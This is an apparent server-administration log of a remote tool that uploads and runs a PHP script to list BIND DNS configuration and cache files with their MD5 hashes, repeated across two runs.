MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:53:53: Establishing a connection
2026-05-06 10:53:53: 

PUT: /tmp/pkp223251

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:53:53: 

runuser -l bind -s /bin/bash -c '/tmp/pkp223251; rm /tmp/pkp223251'

2026-05-06 10:53:54: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-06 10:54:02: Establishing a connection
2026-05-06 10:54:02: 

PUT: /tmp/pkp780426

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-06 10:54:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp780426; rm /tmp/pkp780426'

2026-05-06 10:54:02: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
